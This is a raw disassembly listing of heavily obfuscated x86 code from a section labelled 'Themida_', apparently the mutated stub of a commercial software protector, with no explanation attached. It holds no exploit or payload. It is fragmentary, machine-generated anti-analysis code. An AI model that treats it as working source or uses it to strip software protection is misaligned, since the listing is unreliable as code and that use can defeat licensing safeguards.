mov edx, [esp]
jmp loc_59C59D
; ---------------------------------------------------------------------------
loc_5902A8: ; CODE XREF: Themida_:005A0C3Bj
xchg edx, [esp]
push dword ptr [esp]
pop ebx
add esp, 4
push edx
mov edx, 7A3F1FE3h
sub ebx, edx
pop edx
or ebx, 6BFE5338h
add ebx, 3507BF9Dh
jmp loc_59FDF7
; ---------------------------------------------------------------------------
loc_5902CC: ; CODE XREF: Themida_:00597ECBj
mov [esp], ebp
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ebp
jmp loc_59AC2B
; ---------------------------------------------------------------------------
loc_5902E1: ; CODE XREF: Themida_:0059E7BDj
mov edx, 221A076Eh
xor esi, edx
pop edx
sub ecx, esi
pop esi
add ecx, ebx
push esi
jmp loc_58F61A
; ---------------------------------------------------------------------------
loc_5902F4: ; CODE XREF: Themida_:0059E2CDj
push 3BFEh
mov [esp], ecx
sub esp, 4
mov [esp], ebx
push edi
mov edi, 781C6A36h
sub [esp+4], edi
mov edi, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
push ecx
push esp
jmp loc_59AC25
; ---------------------------------------------------------------------------
loc_590320: ; CODE XREF: Themida_:0058EA1Cj
push esp
pop dword ptr [esp]
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov edi, [esp]
add esp, 4
push 0B7Dh
mov [esp], eax
jmp loc_596F8F
; ---------------------------------------------------------------------------
loc_590345: ; CODE XREF: Themida_:0059FFA9j
pop eax
mov ebx, [esp]
add esp, 4
add dh, 1
push ax
mov ah, 6Bh
xor dh, ah
pop ax
shr dh, 6
xor dh, 11h
jmp loc_59F147
; ---------------------------------------------------------------------------
loc_590365: ; CODE XREF: Themida_:005A0924j
add byte ptr [esp], 48h
sub byte ptr [esp], 35h
sub [esp], ah
jmp loc_58FC21
; ---------------------------------------------------------------------------
loc_590375: ; CODE XREF: Themida_:0059F43Fj
add edx, edi
pop edi
sub edx, 2
xchg edx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59038A: ; CODE XREF: Themida_:0059C532j
mov ecx, 0E5ED2762h
add esi, ecx
pop ecx
push esi
jmp loc_59F8C0
; ---------------------------------------------------------------------------
loc_590398: ; CODE XREF: Themida_:0059290Dj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_594631
; ---------------------------------------------------------------------------
loc_5903AC: ; CODE XREF: Themida_:00592ED7j
sub ebp, 1
xor edx, ebp
xor ebp, edx
jmp loc_593D7D
; ---------------------------------------------------------------------------
loc_5903B8: ; CODE XREF: Themida_:00598E0Fj
mov ebx, esp
push edi
mov edi, 3DC101B5h
inc edi
push edx
mov edx, 5C981495h
and edx, 3B453351h
jmp loc_5A324A
; ---------------------------------------------------------------------------
loc_5903D2: ; CODE XREF: Themida_:005A2B7Fj
add ebp, esi
pop esi
push ebx
mov ebx, 4
jmp loc_5934B8
; ---------------------------------------------------------------------------
loc_5903E0: ; CODE XREF: Themida_:0059211Fj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
push 13EAh
mov [esp], eax
mov eax, esp
add eax, 4
push edi
jmp loc_592FAC
; ---------------------------------------------------------------------------
loc_590400: ; CODE XREF: Themida_:0059AF13j
sub al, ch
push cx
mov ch, 0F2h
sub al, ch
mov cx, [esp]
add esp, 2
push ebx
jmp loc_596BF5
; ---------------------------------------------------------------------------
loc_590415: ; CODE XREF: Themida_:00597D78j
mov dx, [esp]
add esp, 2
push ecx
mov ch, 4Bh
add bl, ch
pop ecx
add bl, 0A3h
sub bl, 85h
add bl, al
add bl, 85h
sub bl, 0A3h
push 7E6Eh
mov [esp], edx
mov dh, 33h
sub esp, 4
mov [esp], eax
mov al, 2
or dh, al
push dword ptr [esp]
pop eax
push ecx
jmp loc_599C0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59044E: ; CODE XREF: sub_590877+4EDAj
push 28F6h
mov [esp+8+var_8], edi
mov edi, 69F06561h
jmp loc_59EF36
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_590460: ; CODE XREF: Themida_:00595C48j
mov ebx, 6F251F05h
xor ebx, 7BB93D2Dh
or edx, ebx
pop ebx
jmp loc_59F3E9
; ---------------------------------------------------------------------------
loc_590473: ; CODE XREF: Themida_:0059FD4Fj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_5A20F0
; ---------------------------------------------------------------------------
mov ax, [esp]
push 50F4h
mov [esp], esi
push esp
pop esi
push edi
mov edi, 4
add esi, edi
pop edi
push ebp
push edx
push ecx
jmp loc_59C72F
; ---------------------------------------------------------------------------
loc_5904A3: ; CODE XREF: Themida_:005928E7j
push 67E0h
mov [esp], edx
mov edx, 1FF854EBh
mov edi, 0FD71B0Eh
xor edi, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_597139
; ---------------------------------------------------------------------------
loc_5904C3: ; CODE XREF: Themida_:0059DA59j
xchg esi, [esp]
pop ebp
neg ebp
xor ebp, 1FB4033Eh
jmp loc_590F90
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5904DB: ; CODE XREF: Themida_:005A0BE0j
add edi, 4
xchg edi, [esp]
pop esp
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_5A01E6
; ---------------------------------------------------------------------------
loc_5904F2: ; CODE XREF: Themida_:0059813Ej
and edx, 7E9577CDh
sub esp, 4
mov [esp], edx
not dword ptr [esp]
pop edx
push ebx
jmp loc_59EAD7
; ---------------------------------------------------------------------------
loc_590508: ; CODE XREF: Themida_:00596BEAj
push eax
jmp loc_5A2B3F
; ---------------------------------------------------------------------------
loc_59050E: ; CODE XREF: Themida_:00597072j
pop edx
xor dh, al
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp]
pop esp
jmp loc_59BE4F
; ---------------------------------------------------------------------------
loc_590529: ; CODE XREF: Themida_:00596BFEj
push esi
jmp loc_59F1E5
; ---------------------------------------------------------------------------
loc_59052F: ; CODE XREF: Themida_:00599147j
mov si, 2248h
xor bp, si
pop si
sub bp, 4B84h
add bp, 99DFh
and dx, bp
pop ebp
sub dx, 49B1h
push dx
xchg dx, [esp]
not dx
xchg dx, [esp]
pop dx
push bp
mov bp, 33D4h
and bp, 42A4h
dec bp
add bp, 2BD1h
xor bp, 6741h
add bp, 57BDh
add bp, 681Ah
add dx, bp
jmp loc_596CD0
; ---------------------------------------------------------------------------
loc_590583: ; CODE XREF: Themida_:00597A3Fj
pop eax
jmp loc_58EA5C
; ---------------------------------------------------------------------------
loc_590589: ; CODE XREF: Themida_:0059A0EDj
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5962C5
; ---------------------------------------------------------------------------
loc_590597: ; CODE XREF: Themida_:00593D18j
and ebp, 31BF04C5h
sub esp, 4
mov [esp], edx
mov edx, 205E4FE0h
xor ebp, edx
pop edx
or edx, ebp
jmp loc_58E934
; ---------------------------------------------------------------------------
loc_5905B5: ; CODE XREF: Themida_:00597B92j
mov ebx, [esp]
add esp, 4
and dl, cl
push dword ptr [esp]
jmp loc_59AA6D
; ---------------------------------------------------------------------------
loc_5905C5: ; CODE XREF: Themida_:005984EFj
push esi
mov esi, 46B97579h
add ebp, esi
jmp loc_59BCC3
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_5928D7
; ---------------------------------------------------------------------------
loc_5905DB: ; CODE XREF: Themida_:0059D1B6j
mov [esp], edx
push ebx
push 78D53DEDh
pop ebx
add ebx, 872AC311h
mov edx, ebx
pop ebx
mov esi, edx
pop edx
and [edi+1Ch], esi
pop esi
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5905FA: ; CODE XREF: Themida_:00598232j
sub eax, 235E31Dh
add edi, 465B61FFh
add edi, eax
push 1300h
mov [esp], ebx
mov ebx, 465B61FFh
jmp loc_592036
; ---------------------------------------------------------------------------
loc_590619: ; CODE XREF: Themida_:0059EE38j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
xor edx, [esp]
xor [esp], edx
jmp loc_5A3040
; ---------------------------------------------------------------------------
loc_590639: ; CODE XREF: Themida_:00596C97j
sub ebp, 2262416Dh
jmp loc_5A2E52
; ---------------------------------------------------------------------------
loc_590644: ; CODE XREF: Themida_:005A0E10j
push 1ECD46D7h
pop ecx
xor ecx, 5E9564B1h
jmp loc_597175
; ---------------------------------------------------------------------------
loc_590655: ; CODE XREF: Themida_:005A1362j
mov eax, 7AE04703h
inc eax
sub eax, 65565589h
jmp loc_59195B
; ---------------------------------------------------------------------------
loc_590665: ; CODE XREF: Themida_:005956B0j
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
jmp loc_5913B0
; ---------------------------------------------------------------------------
loc_590686: ; CODE XREF: Themida_:00595DDCj
sub ebp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push esp
pop dword ptr [esp]
push edx
mov edx, 4
sub dword ptr [esp+4], 1EFF74E1h
push edx
jmp loc_591A2D
; ---------------------------------------------------------------------------
loc_5906B8: ; CODE XREF: Themida_:005949B9j
pop esp
add esp, 4
add dword ptr [edi+24h], 2DD85186h
push ecx
push edi
push 22110D16h
jmp loc_5A11A3
; ---------------------------------------------------------------------------
loc_5906CF: ; CODE XREF: Themida_:00591C84j
sub esp, 4
mov [esp], edx
xor dword ptr [esp], 50A23F10h
mov eax, [esp]
add esp, 4
xor eax, 50A23F10h
pop edx
neg eax
add eax, 1
push ebx
mov ebx, 6584402Ah
sub eax, 3CB523FAh
sub eax, ebx
add eax, 3CB523FAh
pop ebx
sub esi, eax
push dword ptr [esp]
pop eax
add esp, 4
push 325h
mov [esp], esi
jmp loc_59BF31
; ---------------------------------------------------------------------------
loc_59071E: ; CODE XREF: Themida_:00598D55j
push edi
mov edi, 1E457CE5h
sub edi, 1E457CE1h
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_59553E
; ---------------------------------------------------------------------------
loc_59073B: ; CODE XREF: Themida_:0058EBA8j
mov esi, 588B7BF0h
mov ebp, 69293DB2h
xor ebp, esi
pop esi
sub ecx, ebp
pop ebp
shr ecx, 7
jmp loc_5952D4
; ---------------------------------------------------------------------------
loc_590753: ; CODE XREF: Themida_:0059DF97j
mov [esp], ax
push edx
jmp loc_58E8D5
; ---------------------------------------------------------------------------
loc_59075D: ; CODE XREF: Themida_:00593957j
mov edi, 5DD91B33h
dec edi
shl edi, 5
dec edi
sub edi, 3C792C24h
jmp loc_593A2C
; ---------------------------------------------------------------------------
loc_590772: ; CODE XREF: Themida_:00595C42j
sub ebx, 600C41BEh
push eax
push ebp
mov ebp, 5F32B74h
jmp loc_58F8D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_590784: ; CODE XREF: sub_59FCFF-D9A7j
xor edi, [esp+4+var_4]
pop esp
jmp loc_58E5AA
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_59078D: ; CODE XREF: Themida_:005A2DC5j
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_59666E
; ---------------------------------------------------------------------------
loc_59079E: ; CODE XREF: Themida_:005985EFj
mov al, dh
mov [ecx], al
pop eax
pop edx
jmp loc_595AFA
; ---------------------------------------------------------------------------
loc_5907A9: ; CODE XREF: Themida_:00591146j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_591E11
; ---------------------------------------------------------------------------
loc_5907BF: ; CODE XREF: Themida_:00596C09j
pop eax
jmp loc_59788B
; ---------------------------------------------------------------------------
loc_5907C5: ; CODE XREF: Themida_:005A05EBj
add edi, ecx
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push ebx
push eax
mov ah, 0A2h
mov bh, ah
jmp loc_59FF9E
; ---------------------------------------------------------------------------
loc_5907DD: ; CODE XREF: Themida_:00597A65j
pop esp
jmp loc_59FEA8
; ---------------------------------------------------------------------------
loc_5907E3: ; CODE XREF: Themida_:005951BEj
not esi
and esi, 0AD65828h
add esi, 0A7C17F01h
jmp loc_59C5C7
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 52E6h
mov [esp], ebx
sub esp, 4
jmp loc_598D07
; ---------------------------------------------------------------------------
loc_590809: ; CODE XREF: Themida_:005A1780j
add ch, 1
shl ch, 4
shl ch, 5
xor ch, 0E5h
push eax
jmp loc_59903D
; ---------------------------------------------------------------------------
loc_59081B: ; CODE XREF: Themida_:0059AE6Ej
push 4141h
jmp loc_5A2C0B
; ---------------------------------------------------------------------------
loc_590825: ; CODE XREF: Themida_:00592C2Aj
sub esi, edx
pop edx
push edi
mov edi, 15AC5EB9h
sub esp, 4
mov [esp], ebx
push ecx
push 60074E50h
jmp loc_59DD44
; ---------------------------------------------------------------------------
loc_59083F: ; CODE XREF: Themida_:0059019Cj
mov [esp], edx
sub esp, 4
mov [esp], ebp
push ebx
mov ebx, 74051974h
push 6C24h
mov [esp], ecx
jmp loc_597CCF
; ---------------------------------------------------------------------------
loc_59085B: ; CODE XREF: Themida_:0058F005j
push ebx
mov ebx, 3BAB2949h
jmp loc_596AA0
; ---------------------------------------------------------------------------
loc_590866: ; CODE XREF: Themida_:0059A367j
push ecx
mov ecx, 4
add esi, ecx
pop ecx
jmp loc_59CCF7
; ---------------------------------------------------------------------------
loc_590874: ; CODE XREF: Themida_:005992E1j
push eax
mov eax, esp
; =============== S U B R O U T I N E =======================================
sub_590877 proc near ; DATA XREF: Themida_:00594A22o
; Themida_:00594A2Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058E353 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EE22 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EF47 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058F40B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F9D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FF33 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059044E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00593A74 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00594874 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00594DEE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594F9E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595746 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595C83 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059767C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597AE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598255 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598C4B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598F3A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598FF6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005992E6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A223 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A8D1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AB32 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BF2A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D163 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D587 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DB81 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059EF36 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059FBE8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0540 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A219A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A25F5 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A2BE2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A31F8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A32EA SIZE 00000014 BYTES
push ebx
mov ebx, 4
jmp loc_58F9D6
sub_590877 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_590882: ; CODE XREF: Themida_:0058FB86j
pop ebp
push 7041h
mov [esp], edx
jmp loc_5961ED
; ---------------------------------------------------------------------------
loc_590890: ; CODE XREF: Themida_:0059B42Aj
add esp, 4
sub esi, 1A111839h
jmp loc_59E19F
; ---------------------------------------------------------------------------
loc_5908A1: ; CODE XREF: Themida_:0059F2C3j
mov [esp], ebp
jmp loc_5970B3
; ---------------------------------------------------------------------------
loc_5908A9: ; CODE XREF: Themida_:0059646Bj
mov dh, ch
mov ecx, [esp]
jmp loc_598E2C
; ---------------------------------------------------------------------------
loc_5908B3: ; CODE XREF: Themida_:0059814Cj
add ebp, eax
push esi
push 145A253Eh
mov esi, [esp]
add esp, 4
sub ebp, 0FC51FA0h
jmp loc_59283D
; ---------------------------------------------------------------------------
loc_5908CC: ; CODE XREF: Themida_:005A2AC4j
add esp, 4
xor ecx, 66CA480Dh
and ecx, 117F433Ah
jmp loc_599467
; ---------------------------------------------------------------------------
loc_5908E3: ; CODE XREF: Themida_:005979CBj
xor dword ptr [esp], 57C4A01h
pop eax
push 27BDh
mov [esp], edi
mov edi, 33F056Dh
push ebx
jmp loc_5927D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_5908FE: ; CODE XREF: sub_59F235-F199j
mov [esp+10h+var_10], esi
not [esp+10h+var_10]
pop esi
shl esi, 6
push 57BAh
mov [esp+10h+var_10], edx
push eax
jmp loc_597F74
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_590916: ; CODE XREF: Themida_:005A309Dj
sub eax, 22912634h
not eax
add eax, 0D815BDD3h
jmp loc_596481
; ---------------------------------------------------------------------------
loc_590927: ; CODE XREF: Themida_:0059A2FCj
sub ecx, 5E8F079Ah
add ecx, 7A958E84h
sub edx, ecx
pop ecx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59093B: ; CODE XREF: Themida_:00598A28j
and ebx, ebp
pop ebp
xor ebx, 75383B18h
sub ebx, 25013915h
sub eax, 30ED6A11h
add eax, ebx
add eax, 30ED6A11h
pop ebx
jmp loc_5981E8
; ---------------------------------------------------------------------------
loc_59095C: ; CODE XREF: Themida_:0058F9C9j
push esi
mov esi, 18FFE169h
add ecx, esi
pop esi
xor edx, ecx
pop ecx
sub esi, edx
pop edx
sub edx, 17C26C5Ah
add edx, esi
push edi
mov edi, 2C8A439Bh
xor edi, 4E0E7989h
inc edi
jmp loc_593551
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
push ebx
mov ebx, 4
push esi
mov esi, 62115A0Bh
jmp loc_596768
; ---------------------------------------------------------------------------
loc_590999: ; CODE XREF: Themida_:005A2CCFj
pop ebx
add ebx, edi
pop edi
add ebp, ebx
mov ebx, [esp]
jmp loc_59DA7C
; ---------------------------------------------------------------------------
loc_5909A7: ; CODE XREF: Themida_:0059BC0Ej
add edi, 4
jmp loc_591D55
; ---------------------------------------------------------------------------
loc_5909B2: ; CODE XREF: Themida_:00594D30j
pop ebx
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
push edi
mov edi, 3E0973h
mov eax, edi
pop edi
push ebx
mov ebx, 325C6DD7h
neg ebx
not ebx
sub ebx, 5DBC3BC3h
jmp loc_5991D1
; ---------------------------------------------------------------------------
loc_5909E4: ; CODE XREF: Themida_:0059E90Aj
mov eax, [esp]
push ecx
jmp loc_5A0E15
; ---------------------------------------------------------------------------
loc_5909ED: ; CODE XREF: Themida_:005946ADj
push eax
mov ah, 50h
add ah, 64h
jmp loc_599F1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5909F8: ; CODE XREF: sub_59DA2F-240Fj
and bh, al
pop eax
push dx
jmp loc_5A043F
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_590A02: ; CODE XREF: Themida_:00590A57j
mov ebp, 1D0D6A11h
mov ecx, ebp
jmp loc_5A0045
; ---------------------------------------------------------------------------
loc_590A0E: ; CODE XREF: Themida_:00598D48j
push esp
pop ebx
sub esp, 4
jmp loc_58F667
; ---------------------------------------------------------------------------
loc_590A1B: ; CODE XREF: Themida_:005A02C9j
sub esi, 67FA5B2Dh
pop ebx
sub esp, 4
jmp loc_595E00
; ---------------------------------------------------------------------------
loc_590A2D: ; CODE XREF: Themida_:0059B7B5j
pop esi
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_590A33: ; CODE XREF: Themida_:0059C8C8j
mov eax, esi
jmp loc_599640
; ---------------------------------------------------------------------------
loc_590A3A: ; CODE XREF: Themida_:00596F01j
mov esi, 59146D21h
jmp loc_596E4A
; ---------------------------------------------------------------------------
loc_590A44: ; CODE XREF: Themida_:00593763j
pop eax
sub esp, 4
jmp loc_596B48
; ---------------------------------------------------------------------------
loc_590A4D: ; CODE XREF: Themida_:00591867j
push dword ptr [esp]
jmp loc_5A2686
; ---------------------------------------------------------------------------
loc_590A55: ; CODE XREF: Themida_:00598133j
push ecx
push ebp
jmp loc_590A02
; ---------------------------------------------------------------------------
loc_590A5C: ; CODE XREF: Themida_:0058EAECj
push esi
mov esi, edx
mov ebx, esi
pop esi
jmp loc_59E73A
; ---------------------------------------------------------------------------
loc_590A67: ; CODE XREF: Themida_:0059C882j
pop ebp
jmp loc_59B0C5
; ---------------------------------------------------------------------------
loc_590A6D: ; CODE XREF: Themida_:0059674Aj
push 246F1A12h
mov esi, [esp]
add esp, 4
xor esi, eax
push dword ptr [esp]
pop eax
add esp, 4
push eax
mov eax, esi
jmp loc_5980A5
; ---------------------------------------------------------------------------
loc_590A8C: ; CODE XREF: Themida_:0059EA74j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
add ebx, 4
jmp loc_59CCAD
; ---------------------------------------------------------------------------
loc_590AA8: ; CODE XREF: Themida_:005995DDj
sub eax, 3B8258BAh
xor eax, 0F72A4E75h
sub edx, eax
pop eax
sub edx, 593BCDAEh
mov edi, edx
pop edx
add edi, 0FFFFFFFFh
push esi
push edx
mov edx, 32F650F3h
sub edx, 0CA6D275Ch
mov esi, edx
pop edx
jmp loc_595B69
; ---------------------------------------------------------------------------
loc_590AD9: ; CODE XREF: Themida_:0058F518j
mov ebx, 9D0EFB82h
add ebp, ebx
mov ebx, [esp]
jmp loc_59448C
; ---------------------------------------------------------------------------
loc_590AE8: ; CODE XREF: Themida_:0059A865j
not al
add al, 1
push ecx
push 7114h
jmp loc_5A202F
; ---------------------------------------------------------------------------
loc_590AF7: ; CODE XREF: Themida_:0059B906j
xchg ebx, edx
dec ebx
jmp loc_5A2D8A
; ---------------------------------------------------------------------------
loc_590AFF: ; CODE XREF: Themida_:0059AB5Bj
add esi, 4
push edx
jmp loc_59E99D
; ---------------------------------------------------------------------------
mov [esp], esi
jmp loc_5970C1
; ---------------------------------------------------------------------------
loc_590B13: ; CODE XREF: Themida_:00590D36j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
inc ecx
jmp loc_593929
; ---------------------------------------------------------------------------
loc_590B2B: ; CODE XREF: Themida_:0059897Bj
push ebx
mov ebx, 14AD6510h
add [esp+4], ebx
pop ebx
pop esi
jmp loc_597F88
; ---------------------------------------------------------------------------
loc_590B3C: ; CODE XREF: Themida_:0059FE2Fj
mov esi, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], esi
jmp loc_59DEEB
; ---------------------------------------------------------------------------
loc_590B57: ; CODE XREF: Themida_:005A1DFAj
add edx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5998C0
; ---------------------------------------------------------------------------
loc_590B70: ; CODE XREF: Themida_:005A2D97j
add esp, 4
jmp loc_59A8CA
; ---------------------------------------------------------------------------
loc_590B78: ; CODE XREF: Themida_:0059947Cj
sub ecx, 7DD528C0h
xor ecx, 0DD0F3931h
sub ebp, ecx
pop ecx
jmp loc_59EFEC
; ---------------------------------------------------------------------------
loc_590B8C: ; CODE XREF: Themida_:0059C48Aj
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_590B94: ; CODE XREF: Themida_:0059E6B4j
pop eax
add esi, 251628E4h
pop ebx
push edx
mov edx, 2
sub esi, 11E0207Bh
add esi, 97570Bh
add esi, edx
push eax
mov eax, 97570Bh
sub esi, eax
pop eax
push ecx
mov ecx, esp
jmp loc_5A24B8
; ---------------------------------------------------------------------------
loc_590BC1: ; CODE XREF: Themida_:0059B083j
mov esi, 4
jmp loc_59E13E
; ---------------------------------------------------------------------------
loc_590BCB: ; CODE XREF: Themida_:005952CFj
push esi
mov esi, 26D008E1h
jmp loc_594F2F
; ---------------------------------------------------------------------------
loc_590BD6: ; CODE XREF: Themida_:0059EFE7j
add al, cl
pop ecx
add al, cl
sub al, 0F1h
pop ecx
sub esp, 2
jmp loc_591EEE
; ---------------------------------------------------------------------------
loc_590BE9: ; CODE XREF: Themida_:005940E0j
add edi, ebp
jmp loc_5A1B66
; ---------------------------------------------------------------------------
loc_590BF0: ; CODE XREF: Themida_:0059E6BDj
add esp, 4
jmp loc_5A1DFF
; ---------------------------------------------------------------------------
loc_590BFB: ; CODE XREF: Themida_:0059E5CAj
mov ebx, [esp]
jmp loc_59922B
; ---------------------------------------------------------------------------
loc_590C03: ; CODE XREF: Themida_:00592868j
sub edi, 5FC264B1h
pop esi
push eax
mov eax, 31573569h
not eax
add eax, 13220588h
sub eax, 2CA2202Bh
jmp loc_59D82C
; ---------------------------------------------------------------------------
loc_590C21: ; CODE XREF: Themida_:0059BA5Fj
mov edi, 69AD59F2h
push 6BD9h
mov [esp], edi
jmp loc_59B4C6
; ---------------------------------------------------------------------------
loc_590C33: ; CODE XREF: Themida_:00599D33j
mov eax, 4C3F34E3h
push eax
pop ebp
jmp loc_59718B
; ---------------------------------------------------------------------------
loc_590C3F: ; CODE XREF: Themida_:005A00E0j
push eax
mov eax, 5EF10CCBh
push ecx
mov ecx, 7B854B67h
xor eax, ecx
pop ecx
push esi
mov esi, 6A85204Dh
add esi, 53DE0071h
not esi
neg esi
not esi
xor esi, 278BD4EAh
add eax, esi
pop esi
shl eax, 1
xor eax, 3B05CEF1h
or esi, eax
pop eax
sub esi, 0A9360630h
mov ebp, esi
pop esi
jmp loc_590C95
; ---------------------------------------------------------------------------
loc_590C81: ; CODE XREF: Themida_:0059BBD9j
add edi, 0FFFFFFFFh
jmp loc_594DFE
; ---------------------------------------------------------------------------
loc_590C89: ; CODE XREF: Themida_:0059E7FAj
pop ebp
jmp loc_5A1C48
; ---------------------------------------------------------------------------
loc_590C8F: ; CODE XREF: Themida_:0058E5DFj
push ebx
jmp loc_59003F
; ---------------------------------------------------------------------------
loc_590C95: ; CODE XREF: Themida_:00590C7Cj
add eax, ebp
pop ebp
sub esp, 4
mov [esp], edi
mov edi, 357EF366h
xor eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push 20F0h
mov [esp], ecx
push 2F27h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59657A
; ---------------------------------------------------------------------------
loc_590CCD: ; CODE XREF: Themida_:00598E75j
mov edi, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push 72FDh
jmp loc_593BC7
; ---------------------------------------------------------------------------
loc_590CE6: ; CODE XREF: Themida_:0059ED8Bj
xor [esp], ebp
mov ecx, [esp]
jmp loc_590EE0
; ---------------------------------------------------------------------------
loc_590CF1: ; CODE XREF: Themida_:0059839Bj
push dword ptr [esp]
pop edi
add esp, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
inc dword ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_590D13: ; CODE XREF: Themida_:005938AEj
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5A1D7C
; ---------------------------------------------------------------------------
loc_590D22: ; CODE XREF: Themida_:0059200Dj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_590D27: ; CODE XREF: Themida_:005A06EFj
add esp, 4
push eax
mov eax, 43C2F7Ah
add ecx, eax
mov eax, [esp]
push ebx
jmp loc_590B13
; ---------------------------------------------------------------------------
loc_590D3B: ; CODE XREF: Themida_:0059EC4Cj
add edx, edi
jmp loc_5917BB
; ---------------------------------------------------------------------------
loc_590D42: ; CODE XREF: Themida_:0059FB99j
pop ecx
push 61F2h
mov [esp], edi
mov edi, esp
push edx
mov edx, 3E5830DEh
add edx, 174E7065h
shl edx, 7
shl edx, 6
add edx, 2BD7A004h
add edi, edx
pop edx
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], esi
push 2
push dword ptr [esp]
jmp loc_58E7D4
; ---------------------------------------------------------------------------
loc_590D85: ; CODE XREF: Themida_:00591519j
sub dl, 2Ch
sub dl, 1Ch
sub dl, 0E7h
xor ch, dl
pop edx
